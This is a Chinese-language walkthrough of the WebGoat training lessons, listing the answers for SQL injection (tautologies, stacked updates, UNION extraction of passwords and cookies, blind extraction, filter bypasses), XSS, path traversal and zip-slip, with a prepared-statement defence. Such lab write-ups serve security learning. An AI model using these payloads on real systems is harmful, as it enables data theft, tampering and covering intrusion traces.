webgoat通关过程系列(二)
字数 1254 2025-08-18 11:36:53
WebGoat通关教程:SQL注入与Web安全漏洞详解
1. SQL Injection (intro)
1.1 基础SQL语句操作
1-2: 基本查询语句
select department from Employees where first_name='Bob'
1-3: 更新语句
update employees set department='Sales' where first_name='Tobi'
1-4: 修改表结构
alter table employees add phone varchar(20)
1-5: 权限修改
grant select on grant_right to unauthorized_user
1.2 SQL注入基础
1-9: 基本SQL注入
- 通过注入获取所有用户信息
- 使用万能密码:
' or '1'='1
1-10: 数字型注入
- 数字注入无需考虑引号问题
- 示例:
1 or 1=1
1-11: 字符串注入
- 再次练习获取全部用户信息
1-12: 组合注入攻击
- 目标:修改Smith的工资为最高
- 已知最高工资为83700
- 注入语句:
aa' or '1'='1';update employees set salary=100000 where auth_tan='3SL99A
1-13: 清理痕迹
- 删除日志表
- 直接拼接DROP语句
2. SQL Injection (advanced)
2.1 UNION注入
2-3: 获取其他表数据
- 使用UNION查询
- 注意字段数量和类型匹配
- 注入语句:
1' or '1'='1' union select userid,user_name,password,cookie,'aa','bb',5 from user_system_data where '1'='1
2.2 盲注技术
2-5: 布尔盲注
- 注册页面的username_reg存在注入点
- 数据库类型:hsqldb
- 判断password字段是否存在:
password is not null
- 确定密码长度(23):
and length(password)=23
- 逐字符爆破密码:
and substring(password,1,1)='a'
- 最终密码:
thisisasecretfortomonly
2.3 过滤绕过技术
3-9: 空格过滤绕过
- 使用注释替代空格:
1'/**/or/**/'1'='1'/**/union/**/select/**/userid,user_name,password,cookie,'aa','bb',5/**/from/**/user_system_data/**/where/**/'1'='1
3-10: 关键词过滤绕过
- 使用双写绕过:
1'/**/or/**/'1'='1'/**/union/**/selselectect/**/userid,user_name,password,cookie,'aa','bb',5/**/frofromm/**/user_system_data/**/where/**/'1'='1
3-12: 排序注入
- 通过ORDER BY CASE进行盲注
- 示例:
order by case when (substring((select ip from SERVERS where hostname='webgoat-prd'),1,1)='1') then id else ip end
- 目标IP前三位:104
3. SQL注入防御
3-5: 使用预编译语句
PreparedStatement statement = conn.prepareStatement("SELECT status FROM users WHERE name= ? and mail = ?");
statement.setString(1, "aa");
statement.setString(2, "bbm@com");
4. Cross Site Scripting (XSS)
4.1 反射型XSS
4-2: 获取Cookie
alert(document.cookie)
4-7: 输入验证漏洞
<script>alert('hello')</script>
4.2 隐藏XSS
4-10: 发现隐藏测试页面
- 搜索前端代码找到隐藏URL:
start.mvc#test
4-11: 利用隐藏URL执行XSS
- 访问:
start.mvc#test/<script>...</script> - 可能需要URL编码
5. 存储型XSS
5-3: 评论区XSS
- 在评论区输入脚本
- 点击edit查看控制台输出
6. Path Traversal
6.1 基础路径穿越
6-2: 基本路径穿越
- 修改fullname参数:
../test
6-3: 过滤绕过
- 使用双重路径:
....//
6-4: 文件名参数漏洞
- 漏洞转移到filename参数
6-5: 获取特定文件
- 直接拼接文件名
- 注意URL编码
6.2 ZIP解压漏洞
6-7: ZIP解压路径穿越
- 创建包含恶意路径的ZIP文件
- 示例文件名:
.tmp/evil.sh
总结
本教程详细介绍了WebGoat中SQL注入和常见Web安全漏洞的利用方法,包括:
- 基础SQL注入技术
- 高级注入技术(UNION注入、盲注)
- 过滤绕过技巧
- XSS攻击(反射型、存储型、DOM型)
- 路径穿越攻击
- 防御措施(预编译语句)
每种攻击技术都提供了具体的利用示例和关键点说明,帮助学习者全面理解Web应用安全漏洞的原理和利用方法。